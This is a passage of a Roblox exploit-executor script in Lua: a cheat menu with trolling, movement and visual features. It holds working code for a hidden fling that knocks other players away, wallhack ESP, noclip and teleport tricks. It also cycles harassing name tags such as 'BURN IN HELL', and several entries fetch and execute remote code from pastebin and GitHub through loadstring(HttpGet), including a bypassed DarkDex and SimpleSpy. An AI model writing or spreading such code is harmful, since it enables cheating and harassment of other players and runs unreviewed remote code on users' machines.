naeeym.StudsOffset for _ = 1, 10 do naeeym.StudsOffset = originalOffset + Vector3.new(math.random(-1,1), math.random(-1,1), math.random(-1,1)) task.wait(0.05) end naeeym.StudsOffset = originalOffset end coroutine.wrap(function() while character:IsDescendantOf(workspace) do changeName("BURN IN HELL") shakeTag() task.wait(0.2) changeName("STOP") task.wait(0.1) changeName("JUST GIVE UP") shakeTag() task.wait(0.2) changeName("STOP") shakeTag() task.wait(0.2) changeName("JOHN DOE") shakeTag() task.wait(0.3) changeName("HOPELESS") shakeTag() task.wait(0.3) end end)() local footPartSize = Vector3.new(10, 0.5, 10) local floorPartColor = BrickColor.Black() local floorMaterial = Enum.Material.Neon local yOffset = -2.8 local lastPosition = hrp.Position local standingTimer = 0 RunService.Heartbeat:Connect(function(dt) if not character:IsDescendantOf(workspace) then return end local currentPosition = hrp.Position standingTimer += dt local distanceMoved = (currentPosition - lastPosition).Magnitude local stepPosition = Vector3.new(currentPosition.X, hrp.Position.Y + yOffset, currentPosition.Z) local function createFootstep(position) local part = Instance.new("Part") part.Size = footPartSize part.Position = position part.Anchored = true part.CanCollide = false part.BrickColor = floorPartColor part.Material = floorMaterial part.Transparency = 0.5 part.Parent = workspace task.spawn(function() for i = 1, 10 do part.Transparency = i * 0.03 task.wait(0.05) end end) Debris:AddItem(part, 1) end if distanceMoved > 1 then createFootstep(stepPosition) lastPosition = currentPosition standingTimer = 0 elseif standingTimer > 0.5 then createFootstep(stepPosition) standingTimer = 0 end end) local movel = 0.1 local hiddenfling = true local function fling() while hiddenfling and character:IsDescendantOf(workspace) do if hrp then local originalVelocity = hrp.Velocity hrp.Velocity = originalVelocity * 10000 + Vector3.new(0, 10000, 0) RunService.RenderStepped:Wait() hrp.Velocity = originalVelocity RunService.Stepped:Wait() hrp.Velocity = originalVelocity + Vector3.new(0, movel, 0) movel = -movel end RunService.Heartbeat:Wait() end end coroutine.wrap(fling)() end player.CharacterAdded:Connect(setupCharacter) if player.Character then setupCharacter(player.Character) end local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local player = Players.LocalPlayer local mouse = player:GetMouse() local function teleportToMousePosition() local character = player.Character if not character or not character:FindFirstChild("HumanoidRootPart") then return end local target = mouse.Hit if target then character:MoveTo(target.Position) end end UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.KeyCode == Enum.KeyCode.T then teleportToMousePosition() end end) end, "Trolling", "BROKEN") FunctionManager:register("Invis gui", function() loadstring(game:HttpGet('https://pastebin.com/raw/3Rnd9rHf'))() end, "Trolling", "Credits to the original maker!") FunctionManager:register("DANCE", function() local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://27789359" local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(anim) track:Play() end, "Fun", "DANCE DANCE") FunctionManager:register("Sound GUI", function() local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("SoundGui") if gui then gui:Destroy() return end local SoundGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local AddSoundId = Instance.new("TextButton") local SoundIds = Instance.new("TextBox") local Default = Instance.new("TextButton") local Credits = Instance.new("TextLabel") local Title = Instance.new("TextLabel") local Swap = Instance.new("ImageButton") local PlayBackSpeed = Instance.new("TextBox") local Volume = Instance.new("TextBox") local Looped = Instance.new("TextBox") local Exit = Instance.new("ImageButton") local Frame2 = Instance.new("Frame") local Open = Instance.new("ImageButton") local spoky = Instance.new("Sound") local c00lflag = Instance.new("Sound") local drag = Instance.new("UIDragDetector") drag.Parent = Frame c00lflag.Name = "c00lsound23sas" c00lflag.Parent = Frame spoky.Parent = Frame spoky.SoundId = "rbxassetid://95156028272944" spoky.Volume = 3 spoky.PlaybackSpeed = 0.2 spoky.Name = "spoky" --Properties: SoundGui.Name = "SoundGui" SoundGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") SoundGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling SoundGui.ResetOnSpawn = false Frame.Parent = SoundGui Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.BorderColor3 = Color3.fromRGB(255, 0, 4) Frame.BorderSizePixel = 2 Frame.Position = UDim2.new(0, 700, 0, 300) Frame.Size = UDim2.new(0, 398, 0, 206) AddSoundId.Name = "AddSoundId" AddSoundId.Parent = Frame AddSoundId.BackgroundColor3 = Color3.fromRGB(0, 0, 0) AddSoundId.BorderColor3 = Color3.fromRGB(255, 0, 0) AddSoundId.BorderSizePixel = 2 AddSoundId.Position = UDim2.new(0.118090451, 0, 0.718446612, 0) AddSoundId.Size = UDim2.new(0, 307, 0, 36) AddSoundId.Font = Enum.Font.Arial AddSoundId.Text = "Add Sound!" AddSoundId.TextColor3 = Color3.fromRGB(255, 255, 255) AddSoundId.TextSize = 29.000 SoundIds.Name = "SoundIds" SoundIds.Parent = Frame SoundIds.BackgroundColor3 = Color3.fromRGB(0, 0, 0) SoundIds.BorderColor3 = Color3.fromRGB(255, 0, 0) SoundIds.BorderSizePixel = 2 SoundIds.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) SoundIds.Size = UDim2.new(0, 307, 0, 33) SoundIds.Font = Enum.Font.Arial SoundIds.PlaceholderText = "Add a sound ID here!, No rbx://" SoundIds.Text = "" SoundIds.TextColor3 = Color3.fromRGB(255, 255, 255) SoundIds.TextScaled = true SoundIds.TextSize = 14.000 SoundIds.TextWrapped = true Default.Name = "Default" Default.Parent = Frame Default.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Default.BorderColor3 = Color3.fromRGB(255, 0, 0) Default.BorderSizePixel = 2 Default.Position = UDim2.new(0.118090451, 0, 0.529126227, 0) Default.Size = UDim2.new(0, 307, 0, 28) Default.Font = Enum.Font.Arial Default.Text = "Spooky Scary Skeletons!" Default.TextColor3 = Color3.fromRGB(255, 255, 255) Default.TextSize = 23.000 Credits.Name = "Credits" Credits.Parent = Frame Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Credits.BackgroundTransparency = 1.000 Credits.BorderColor3 = Color3.fromRGB(0, 0, 0) Credits.BorderSizePixel = 0 Credits.Position = UDim2.new(0.577889442, 0, 0.9174757, 0) Credits.Size = UDim2.new(0, 153, 0, 17) Credits.Font = Enum.Font.SourceSans Credits.Text = "made by: 1known. On discord!" Credits.TextColor3 = Color3.fromRGB(255, 255, 255) Credits.TextSize = 14.000 Title.Name = "Title" Title.Parent = Frame Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Title.BackgroundTransparency = 1.000 Title.BorderColor3 = Color3.fromRGB(255, 0, 4) Title.BorderSizePixel = 2 Title.Position = UDim2.new(0.208542719, 0, 0.0291262139, 0) Title.Size = UDim2.new(0, 231, 0, 48) Title.Font = Enum.Font.Arial Title.Text = "c00lSound GUI!" Title.TextColor3 = Color3.fromRGB(255, 255, 255) Title.TextSize = 33.000 Title.TextWrapped = true Swap.Name = "Swap" Swap.Parent = Frame Swap.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Swap.BorderColor3 = Color3.fromRGB(255, 0, 0) Swap.BorderSizePixel = 0 Swap.Position = UDim2.new(0.904522598, 0, 0.33495146, 0) Swap.Size = UDim2.new(0, 23, 0, 21) Swap.Image = "rbxassetid://2500573769" PlayBackSpeed.Name = "PlayBackSpeed" PlayBackSpeed.Parent = Frame PlayBackSpeed.BackgroundColor3 = Color3.fromRGB(0, 0, 0) PlayBackSpeed.BorderColor3 = Color3.fromRGB(255, 0, 0) PlayBackSpeed.BorderSizePixel = 2 PlayBackSpeed.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) PlayBackSpeed.Size = UDim2.new(0, 307, 0, 33) PlayBackSpeed.Visible = false PlayBackSpeed.Font = Enum.Font.Arial PlayBackSpeed.PlaceholderText = "Playback speed, Enter a number!" PlayBackSpeed.Text = "1" PlayBackSpeed.TextColor3 = Color3.fromRGB(255, 255, 255) PlayBackSpeed.TextScaled = true PlayBackSpeed.TextSize = 14.000 PlayBackSpeed.TextWrapped = true Volume.Name = "Volume" Volume.Parent = Frame Volume.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Volume.BorderColor3 = Color3.fromRGB(255, 0, 0) Volume.BorderSizePixel = 2 Volume.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) Volume.Size = UDim2.new(0, 307, 0, 33) Volume.Visible = false Volume.Font = Enum.Font.Arial Volume.PlaceholderText = "Volume! Enter a number." Volume.Text = "0.5" Volume.TextColor3 = Color3.fromRGB(255, 255, 255) Volume.TextScaled = true Volume.TextSize = 14.000 Volume.TextWrapped = true Looped.Name = "Looped" Looped.Parent = Frame Looped.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Looped.BorderColor3 = Color3.fromRGB(255, 0, 0) Looped.BorderSizePixel = 2 Looped.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) Looped.Size = UDim2.new(0, 307, 0, 33) Looped.Visible = false Looped.Font = Enum.Font.Arial Looped.PlaceholderText = "Is it looped?, Type: False or True" Looped.Text = "False" Looped.TextColor3 = Color3.fromRGB(255, 255, 255) Looped.TextScaled = true Looped.TextSize = 14.000 Looped.TextWrapped = true Exit.Name = "Exit" Exit.Parent = Frame Exit.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Exit.BorderColor3 = Color3.fromRGB(255, 0, 0) Exit.BorderSizePixel = 2 Exit.Position = UDim2.new(0.921999991, 0, 0.0289999992, 0) Exit.Size = UDim2.new(0, 25, 0, 23) Exit.Image = "rbxassetid://14930908086" Frame2.Name = "Frame2" Frame2.Parent = SoundGui Frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame2.BorderColor3 = Color3.fromRGB(0, 0, 0) Frame2.BorderSizePixel = 0 Frame2.Position = UDim2.new(0.984443069, 0, 0.841666639, 0) Frame2.Size = UDim2.new(0, 25, 0, 23) Frame2.Visible = false Open.Name = "Open" Open.Parent = Frame2 Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Open.BorderColor3 = Color3.fromRGB(255, 0, 0) Open.BorderSizePixel = 2 Open.Position = UDim2.new(-0.0312646478, 0, -0.0113339629, 0) Open.Size = UDim2.new(0, 25, 0, 23) Open.Image = "rbxassetid://14930908086" -- Scripts: local function GSSVM_fake_script() -- AddSoundId.LocalScript local script = Instance.new('LocalScript', AddSoundId) local parent = script.Parent parent.Activated:Connect(function() local SoundId = parent.Parent:WaitForChild("SoundIds").Text local Playbackspeed = parent.Parent:WaitForChild("PlayBackSpeed").Text local Volume = parent.Parent:WaitForChild("Volume").Text local looped = parent.Parent:WaitForChild("Looped").Text if SoundId == "" then parent.Text = "No Sound ID!" wait(2) parent.Text = "Add Sound!" return end local id = "rbxassetid://" .. SoundId local speed = tonumber(Playbackspeed) or 1 local existingSound = game.Workspace:FindFirstChild("c00lsound23sas") if existingSound then existingSound.SoundId = id existingSound.PlaybackSpeed = speed existingSound.Volume = Volume if looped == "False" then existingSound.Looped = false elseif looped == "True" then existingSound.Looped = true else existingSound.Looped = false end existingSound:Play() else local clonedSound = parent.Parent.c00lsound23sas:Clone() clonedSound.Parent = game.Workspace clonedSound.SoundId = id clonedSound.PlaybackSpeed = speed clonedSound.Volume = Volume if looped == "False" then clonedSound.Looped = false elseif looped == "True" then clonedSound.Looped = true else clonedSound.Looped = false end clonedSound.Looped = looped clonedSound:Play() end parent.Text = "Injected Sound Succesfully!, Be sure to enter a correct ID if it doesnt work!" parent.TextScaled = true wait(3.5) parent.TextScaled = false parent.Text = "Add Sound!" end) end coroutine.wrap(GSSVM_fake_script)() local function MWUVEW_fake_script() -- Default.LocalScript local script = Instance.new('LocalScript', Default) local parent = script.Parent local sound = parent.Parent.spoky parent.Activated:Connect(function() if sound.Playing == true then sound.Playing = false else sound.Playing = true end end) end coroutine.wrap(MWUVEW_fake_script)() local function BIKZQ_fake_script() -- Swap.LocalScript local script = Instance.new('LocalScript', Swap) local parent = script.Parent local playback = parent.Parent.PlayBackSpeed local Sound = parent.Parent.SoundIds local volume = parent.Parent.Volume local looped = parent.Parent.Looped parent.Activated:Connect(function() if Sound.Visible == true then Sound.Visible = false playback.Visible = true volume.Visible = false looped.Visible = false elseif playback.Visible ==true then playback.Visible = false Sound.Visible = false volume.Visible = true looped.Visible = false elseif volume.Visible == true then Sound.Visible = false playback.Visible = false volume.Visible = false looped.Visible = true elseif looped.Visible == true then Sound.Visible = true playback.Visible = false volume.Visible = false looped.Visible = false end end) end coroutine.wrap(BIKZQ_fake_script)() local function AXYPXC_fake_script() -- Exit.LocalScript local script = Instance.new('LocalScript', Exit) local parent = script.Parent local main = parent.Parent parent.Activated:Connect(function() main.Parent.Frame2.Visible = true main.Visible = false end) end coroutine.wrap(AXYPXC_fake_script)() local function WHTXC_fake_script() -- Open.LocalScript local script = Instance.new('LocalScript', Open) local parent = script.Parent local main = parent.Parent.Parent.Frame parent.Activated:Connect(function() main.Visible = true parent.Parent.Visible = false end) end coroutine.wrap(WHTXC_fake_script)() end, "General", "NOT FE") FunctionManager:register("Bind Key", function() if bindFrame then return end local gui = Player:FindFirstChild("PlayerGui"):FindFirstChild(die) if not gui then NotifyERROR("Gui not found!"); return end screenGui = gui bindFrame = Instance.new("Frame") bindFrame.Name = generate_string(math_random(1, 10)) bindFrame.Size = UDim2.new(1,0,1,0) bindFrame.BackgroundColor3 = Color3.new(0,0,0) bindFrame.BackgroundTransparency = 0.5 bindFrame.ZIndex = 50 bindFrame.Parent = screenGui local panel = Instance.new("Frame") panel.Name = generate_string(math_random(1, 10)) panel.Size = UDim2.new(0, 300, 0, 400) panel.Position = UDim2.new(0.5, -150, 0.5, -200) panel.BackgroundColor3 = Color3.fromRGB(35,35,35) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = bindFrame local closeBtn = Instance.new("TextButton") closeBtn.Size = UDim2.new(0, 60, 0, 24) closeBtn.Position = UDim2.new(1, -64, 0, 4) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() bindFrame:Destroy() bindFrame = nil if bindConn then bindConn:Disconnect(); bindConn = nil end end) local title = Instance.new("TextLabel") title.Size = UDim2.new(1, -8, 0, 24) title.Position = UDim2.new(0, 4, 0, 4) title.BackgroundTransparency = 1 title.Font = Enum.Font.SourceSansBold title.TextSize = 18 title.TextColor3 = Color3.new(1,1,1) title.Text = "Bind Key to Function" title.ZIndex = 52 title.Parent = panel local list = Instance.new("ScrollingFrame") list.Size = UDim2.new(1, -8, 1, -40) list.Position = UDim2.new(0, 4, 0, 32) list.CanvasSize = UDim2.new(0,0,0,0) list.ScrollBarThickness = 6 list.ZIndex = 51 list.Parent = panel local uiList = Instance.new("UIListLayout") uiList.Padding = UDim.new(0,4) uiList.SortOrder = Enum.SortOrder.LayoutOrder uiList.Parent = list local function refreshList() for _, child in ipairs(list:GetChildren()) do if child:IsA("TextButton") or child:IsA("TextLabel") then child:Destroy() end end for _, cat in ipairs(FunctionManager.Categories) do local hdr = Instance.new("TextLabel") hdr.Size = UDim2.new(1,0,0,24) hdr.BackgroundTransparency = 1 hdr.Font = Enum.Font.SourceSansBold hdr.TextSize = 16 hdr.TextColor3 = Color3.new(1,1,0) hdr.Text = "["..cat.."]" hdr.ZIndex = 51 hdr.Parent = list for name, cb in pairs(FunctionManager:getFunctionsInCategory(cat)) do local btn = Instance.new("TextButton") btn.Size = UDim2.new(1,0,0,24) btn.Font = Enum.Font.SourceSans btn.TextSize = 14 btn.BackgroundColor3 = Color3.fromRGB(50,50,50) btn.TextColor3 = Color3.new(1,1,1) btn.ZIndex = 51 local bound = {} for key, fn in pairs(customBinds) do if fn == cb then table.insert(bound, tostring(key)) end end local suffix = #bound>0 and " ("..table.concat(bound, ",")..")" or "" btn.Text = name..suffix btn.Parent = list btn.MouseButton1Click:Connect(function() waitingBindFunction = { cb = cb, btn = btn, name = name } btn.Text = name.." → [Press a key]" end) end end list.CanvasSize = UDim2.new(0,0,0, uiList.AbsoluteContentSize.Y + 8) end bindConn = UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed or not waitingBindFunction then return end if input.UserInputType == Enum.UserInputType.Keyboard then customBinds[input.KeyCode] = waitingBindFunction.cb waitingBindFunction.btn.Text = waitingBindFunction.name.." ("..tostring(input.KeyCode)..")" waitingBindFunction = nil end end) refreshList() end, "Utility", "BUGGED") UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.UserInputType == Enum.UserInputType.Keyboard then local fn = customBinds[input.KeyCode] if fn and type(fn) == "function" then pcall(fn) end end end) FunctionManager:register("JumpUp", function() local char = Player.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") if hrp then hrp.Velocity = Vector3.new(0, 100, 0) end end, "Movement", "Leap into the air!") FunctionManager:register("Sit", function() local hum = Player.Character and Player.Character:FindFirstChildOfClass("Humanoid") if hum then hum.Sit = true end end, "Movement", "SIT DOWN") FunctionManager:register("INF JUMP", function() infJumpEnabled = not infJumpEnabled if infJumpEnabled then local debounce = false infJumpConnection = UserInputService.JumpRequest:Connect(function() if debounce then return end debounce = true local character = Player.Character local humanoid = character and character:FindFirstChildWhichIsA("Humanoid") if humanoid then humanoid:ChangeState(Enum.HumanoidStateType.Jumping) end task.wait() debounce = false end) else if infJumpConnection then infJumpConnection:Disconnect() infJumpConnection = nil end end end, "Movement", "Jump Forever!") FunctionManager:register("WalkSpeed Slider", function() if screenGui:FindFirstChild("WalkSpeedModal") then return end local overlay = Instance.new("Frame") overlay.Name = "WalkSpeedModal" overlay.Size = UDim2.new(1,0,1,0) overlay.Position = UDim2.new(0,0,0,0) overlay.BackgroundColor3 = Color3.new(0,0,0) overlay.BackgroundTransparency = 0.5 overlay.ZIndex = 50 overlay.Parent = screenGui local panel = Instance.new("Frame") panel.Name = "SliderPanel" panel.Size = UDim2.new(0, 300, 0, 100) panel.Position = UDim2.new(0.5, -150, 0.5, -50) panel.BackgroundColor3 = Color3.fromRGB(40,40,40) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = overlay local closeBtn = Instance.new("TextButton") closeBtn.Name = "Close" closeBtn.Size = UDim2.new(0,60,0,24) closeBtn.Position = UDim2.new(1,-64,0,4) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.Text = "Close" closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() overlay:Destroy() end) local label = Instance.new("TextLabel") label.Name = "ValueLabel" label.Size = UDim2.new(1,-8,0,24) label.Position = UDim2.new(0,4,0,4) label.BackgroundTransparency= 1 label.Font = Enum.Font.SourceSansBold label.TextSize = 18 label.TextColor3 = Color3.new(1,1,1) label.Text = "WalkSpeed: " .. tostring(Humanoid.WalkSpeed) label.ZIndex = 52 label.Parent = panel local track = Instance.new("Frame") track.Name = "Track" track.Size = UDim2.new(1,-16,0,20) track.Position = UDim2.new(0,8,0,40) track.BackgroundColor3 = Color3.fromRGB(60,60,60) track.BorderSizePixel = 0 track.ZIndex = 51 track.Parent = panel local fill = Instance.new("Frame") fill.Name = "Fill" fill.Size = UDim2.new( math.clamp((Humanoid.WalkSpeed - 8)/(100-8),0,1), 0, 1, 0 ) fill.BackgroundColor3 = Color3.fromRGB(100,200,100) fill.BorderSizePixel = 0 fill.ZIndex = 52 fill.Parent = track local dragging = false local minS, maxS = 8, 100 local function update(x) local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1) local v = math.floor(minS + (maxS-minS)*rel) Humanoid.WalkSpeed = v label.Text = "WalkSpeed: "..v fill.Size = UDim2.new(rel,0,1,0) end track.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true update(i.Position.X) end end) track.InputEnded:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end) UserInputService.InputChanged:Connect(function(i) if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then update(i.Position.X) end end) end, "Movement", "Control your walkspeed!") FunctionManager:register("Server Hop", function() local success, res = pcall(function() return game:HttpGet( "https://games.roblox.com/v1/games/" .. PlaceId .. "/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true" ) end) if not success then return NotifyERROR("[Server Hop] HTTP request failed") end local body local ok, err = pcall(function() body = HttpService:JSONDecode(res) end) if not ok or type(body) ~= "table" or type(body.data) ~= "table" then return NotifyERROR("[Server Hop] Invalid JSON response") end local servers = {} for _, v in ipairs(body.data) do if type(v) == "table" and tonumber(v.playing) and tonumber(v.maxPlayers) and v.playing < v.maxPlayers and v.id ~= JobId then table.insert(servers, v.id) end end if #servers == 0 then return NotifyERROR("[Server Hop] No available servers found") end local choice = servers[math.random(1, #servers)] TeleportService:TeleportToPlaceInstance(PlaceId, choice, Players.LocalPlayer) end, "Utility","Changes Servers") FunctionManager:register("TP Behind Closest", function() if not HRP then NotifyERROR("No HumanoidRootPart found.") return end local closestPlayer local shortestDistance = math.huge for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= Player and otherPlayer.Character then local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart") if otherRoot then local distance = (otherRoot.Position - HRP.Position).Magnitude if distance < shortestDistance then shortestDistance = distance closestPlayer = otherPlayer end end end end if closestPlayer and closestPlayer.Character then local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if targetRoot then local behindPosition = targetRoot.CFrame.Position - targetRoot.CFrame.LookVector * 3 local newCFrame = CFrame.new(behindPosition, targetRoot.Position) HRP.CFrame = newCFrame end else NotifyERROR("No nearby player found.") end end, "Movement", "Owai moi, shinderu. NANI?") FunctionManager:register("Scare Closest Player", function() if not HRP then NotifyERROR("Could not find your HumanoidRootPart.") return end local closestPlayer, closestDistance = nil, math.huge for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= Player and otherPlayer.Character then local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart") if otherRoot then local dist = (otherRoot.Position - HRP.Position).Magnitude if dist < closestDistance then closestDistance = dist closestPlayer = otherPlayer end end end end if closestPlayer and closestPlayer.Character then local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if targetRoot then local oldPos = HRP.CFrame HRP.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2 HRP.CFrame = CFrame.new(HRP.Position, targetRoot.Position) task.wait(0.5) HRP.CFrame = oldPos end else NotifyERROR("No target player nearby.") end end, "Fun", "FNAF reference") FunctionManager:register("ESP Toggle", function() espOn = not espOn for _, plr in ipairs(Players:GetPlayers()) do if plr.Character and plr ~= Player then local head = plr.Character:FindFirstChild("Head") if head then local bb = head:FindFirstChild("ESP") or Instance.new("BillboardGui", head) bb.Name = "ESP" bb.Size = UDim2.new(0,80,0,20) bb.AlwaysOnTop = true local lbl = bb:FindFirstChild("Name") or Instance.new("TextLabel", bb) lbl.Name = "Name" lbl.BackgroundTransparency = 1 lbl.Size = UDim2.new(1,0,1,0) lbl.TextColor3 = Color3.new(1,0,0) lbl.TextScaled = true lbl.Text = plr.Name bb.Enabled = espOn end end end Notify("ESP " .. (espOn and "Enabled" or "Disabled"), "SYSTEM", 3) end, "Visual", "ur cooked i just got wallhacks") FunctionManager:register("JumpPowerSlider", function() if screenGui:FindFirstChild("JumpPowerModal") then return end Humanoid.UseJumpPower = true local overlay = Instance.new("Frame") overlay.Name = "JumpPowerModal" overlay.Size = UDim2.new(1,0,1,0) overlay.Position = UDim2.new(0,0,0,0) overlay.BackgroundColor3 = Color3.new(0,0,0) overlay.BackgroundTransparency = 0.5 overlay.ZIndex = 50 overlay.Parent = screenGui local panel = Instance.new("Frame") panel.Name = "JumpPanel" panel.Size = UDim2.new(0, 300, 0, 100) panel.Position = UDim2.new(0.5, -150, 0.5, -50) panel.BackgroundColor3 = Color3.fromRGB(40,40,40) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = overlay local closeBtn = Instance.new("TextButton") closeBtn.Name = "Close" closeBtn.Size = UDim2.new(0,60,0,24) closeBtn.Position = UDim2.new(1,-64,0,4) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.Text = "Close" closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() overlay:Destroy() end) local label = Instance.new("TextLabel") label.Name = "ValueLabel" label.Size = UDim2.new(1,-8,0,24) label.Position = UDim2.new(0,4,0,4) label.BackgroundTransparency= 1 label.Font = Enum.Font.SourceSansBold label.TextSize = 18 label.TextColor3 = Color3.new(1,1,1) label.Text = "JumpPower: " .. tostring(Humanoid.JumpPower) label.ZIndex = 52 label.Parent = panel local track = Instance.new("Frame") track.Name = "Track" track.Size = UDim2.new(1,-16,0,20) track.Position = UDim2.new(0,8,0,40) track.BackgroundColor3 = Color3.fromRGB(60,60,60) track.BorderSizePixel = 0 track.ZIndex = 51 track.Parent = panel local fill = Instance.new("Frame") fill.Name = "Fill" fill.Size = UDim2.new( math.clamp((Humanoid.JumpPower - 50)/(200-50),0,1), 0, 1, 0 ) fill.BackgroundColor3 = Color3.fromRGB(100,200,100) fill.BorderSizePixel = 0 fill.ZIndex = 52 fill.Parent = track local dragging = false local minJ, maxJ = 50, 200 local function update(x) local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1) local v = math.floor(minJ + (maxJ-minJ)*rel) Humanoid.JumpPower = v label.Text = "JumpPower: "..v fill.Size = UDim2.new(rel,0,1,0) end track.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true update(i.Position.X) end end) track.InputEnded:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end) UserInputService.InputChanged:Connect(function(i) if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then update(i.Position.X) end end) end, "Movement", "Control your jumppower") FunctionManager:register("Spin Bot", function() spinOn = not spinOn if spinOn then if not HRP then return NotifyERROR("No HRP!") end lockBP = Instance.new("BodyPosition") lockBP.Name = "SpinLockBP" lockBP.Position = HRP.Position lockBP.MaxForce = Vector3.new(1e6, 1e6, 1e6) lockBP.P = 1e5 lockBP.D = 0 lockBP.Parent = HRP spinBAV = Instance.new("BodyAngularVelocity") spinBAV.Name = "SpinBAV" spinBAV.AngularVelocity = Vector3.new(0, 10000, 0) spinBAV.MaxTorque = Vector3.new(1e6, 1e6, 1e6) spinBAV.P = 1e5 spinBAV.Parent = HRP NotifyERROR("Spin Bot On") else if spinBAV then spinBAV:Destroy() spinBAV = nil end if lockBP then lockBP:Destroy() lockBP = nil end NotifyERROR("Spin Bot Off") end end, "Visual", "Speeeeen") FunctionManager:register("TP To Mouse", function() if hit then HRP.CFrame = CFrame.new(pos + Vector3.new(0, 3, 0)) warn("Teleported to mouse") end end, "Movement", "BUGGED") FunctionManager:register("Save Position", function() savedCFrame = HRP.CFrame Notify("Position Saved", "SYSTEM", 3) end, "Utility", "Checkpoint") FunctionManager:register("Load Position", function() if savedCFrame then HRP.CFrame = savedCFrame Notify("Position Loaded", "SYSTEM", 3) else NotifyERROR("No Position Saved") end end, "Utility", "Reload") FunctionManager:register("No‑Clip", function() noclipOn = not noclipOn if noclipOn then hoverHeight = HRP.Position.Y while noclipOn == true do task.wait(0.01) for _, part in ipairs(Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = false end end local pos = HRP.Position HRP.CFrame = CFrame.new(pos.X, hoverHeight, pos.Z) end Notify("No‑Clip ON (locked at height)", "SYSTEM", 3) else for _, part in ipairs(Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = true end end Notify("No‑Clip OFF", "SYSTEM", 3) end end, "Movement", "NOCLIP") FunctionManager:register("DarkDex", function() --Maybe works? loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))() end, "General", "Take a peek under the hood") FunctionManager:register("SimpleSpy", function() --also maybe works? loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))() end, "Catch remotes") FunctionManager:register("Orbit All Nearby Parts", function() local radius = 20 local height = 3 local orbitSpeed = 2 local speaker = Players.LocalPlayer local character = speaker.Character or speaker.CharacterAdded:Wait() local root = character:FindFirstChild("HumanoidRootPart") if not root then NotifyERROR("No HumanoidRootPart found.") return end local origin = root.Position local orbitParts = {} for _, part in ipairs(workspace:GetDescendants()) do if part:IsA("BasePart") and not part.Anchored and not part:IsDescendantOf(workspace.Terrain) then local isInCharacter = false for _, player in ipairs(Players:GetPlayers()) do local char = player.Character if char and part:IsDescendantOf(char) then isInCharacter = true break end end if not isInCharacter and (part.Position - origin).Magnitude <= radius then if not CollectionService:HasTag(part, "OrbitPart") then if part:CanSetNetworkOwnership() then part:SetNetworkOwner(speaker) else warn("Cannot set network owner for part:", part.Name) end part.CanCollide = false CollectionService:AddTag(part, "OrbitPart") table.insert(orbitParts, part) end end end end if #orbitParts == 0 then warn("No parts found for orbit.") return end local angleOffset = 2 * math.pi / #orbitParts for i, part in ipairs(orbitParts) do local angle = angleOffset * i local startPos = root.Position + Vector3.new( math.cos(angle) * radius, height, math.sin(angle) * radius ) part.Position = startPos local bodyGyro = Instance.new("BodyGyro") bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5) 